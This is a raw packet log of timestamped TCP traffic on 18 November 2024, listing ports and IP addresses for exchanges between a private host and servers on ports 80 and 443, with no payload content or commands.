Nov 18, 2024 00:27:51.541604996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541615963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541651011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541671038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541734934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541747093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541759014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541786909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541812897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.541977882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.541990995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.542027950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.542045116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.542550087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.542562008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.542572975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.542608976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.542661905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.558130980 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.558156013 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.558218956 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.558245897 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.558263063 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.558290005 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.573637962 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.573734999 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.573786020 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.573945045 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.574491024 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.574512959 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.574522018 CET	49951	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.574527979 CET	443	49951	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.577568054 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.577594042 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.577714920 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.577913046 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.577925920 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.578912020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.578926086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.578994989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579121113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579138994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579149961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579161882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579212904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579212904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579391003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579411030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579421043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579467058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579467058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579493046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579504013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579516888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.579550982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.579651117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.657959938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.657975912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.657989025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658041000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658061028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658073902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658086061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658092976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658121109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658162117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658442020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658453941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658466101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658502102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658540964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658655882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658674955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658687115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658699989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658710957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658716917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658723116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.658752918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.658766985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.659327030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.659341097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.659351110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.659363985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.659385920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.659454107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.675086021 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.675113916 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.675175905 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.675205946 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.675226927 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.675254107 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.697808981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697829008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697850943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697861910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697874069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697885990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697894096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.697896957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697907925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697918892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697931051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697942972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697954893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.697982073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.697982073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.697993994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.711301088 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.712048054 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.712070942 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.712527037 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.712532043 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.739773035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.739785910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.739798069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.739882946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.739882946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775091887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775106907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775127888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775141001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775152922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775170088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775207996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775242090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775393009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775413990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775434971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775475979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775497913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775511980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775523901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775547981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775552988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775567055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775578976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.775583029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775616884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.775667906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.776372910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.776433945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.776444912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.776456118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.776520967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.776520967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.792090893 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.792113066 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.792177916 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.792249918 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.792289972 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.792315960 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.805433989 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.805533886 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.805634022 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.805995941 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.806015015 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.806026936 CET	49952	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.806032896 CET	443	49952	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.810298920 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.810333014 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.810482979 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.810650110 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.810668945 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.813461065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813473940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813484907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813497066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813544989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.813640118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.813668013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813678026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813733101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.813746929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813757896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813769102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.813791990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.813839912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.814043045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.814053059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.814059019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.814271927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.838381052 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.838470936 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.838571072 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.838651896 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.840995073 CET	49953	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.841006041 CET	443	49953	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.845875025 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.845931053 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.846137047 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.846484900 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:51.846513987 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:51.856676102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.856687069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.856698990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.856776953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.856777906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892230034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892244101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892255068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892302036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892303944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892332077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892339945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892380953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892380953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892394066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892405987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892590046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892632008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892642975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892653942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.892677069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.892932892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.893136024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893147945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893158913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893171072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893182993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893194914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893239975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.893239975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.893268108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893280983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.893335104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.893335104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.894359112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.894371033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.894540071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.909064054 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.909084082 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.909137964 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.909162998 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:51.909193993 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.909234047 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:51.930556059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930609941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930623055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.930627108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930639982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930659056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930670023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930670977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.930671930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.930737019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930742979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.930748940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.930810928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.931225061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.931267977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.931281090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.931298971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.931334972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.973829985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.973850965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.973864079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:51.973906994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:51.973938942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009241104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009258986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009270906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009283066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009336948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009351969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009362936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009386063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009386063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009519100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009531021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009542942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009562016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009660006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009818077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009830952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009844065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009892941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009892941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.009900093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009912014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.009953022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.010411978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010422945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010435104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010447025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010471106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.010499954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.010771990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010828018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.010843039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010853052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010859966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010867119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.010893106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.010936975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.018630028 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.018784046 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.018846989 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.019104958 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.019126892 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.019145012 CET	49954	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.019153118 CET	443	49954	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.024396896 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.024435043 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.024539948 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.024930000 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:52.024940968 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:52.026216984 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.026245117 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.026302099 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.026329041 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.026346922 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.026370049 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.047650099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.047693014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.047705889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.047738075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.047738075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.047763109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048419952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048432112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048443079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048472881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048482895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048495054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048506975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048525095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048525095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048547983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048602104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048613071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048623085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:52.048650980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.048687935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:52.069655895 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.069688082 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.069747925 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.069777012 CET	443	49949	13.107.246.57	192.168.2.6
Nov 18, 2024 00:27:52.069794893 CET	49949	443	192.168.2.6	13.107.246.57
Nov 18, 2024 00:27:52.069829941 CET	49949	443	192.168.2.6	13.107.246.57
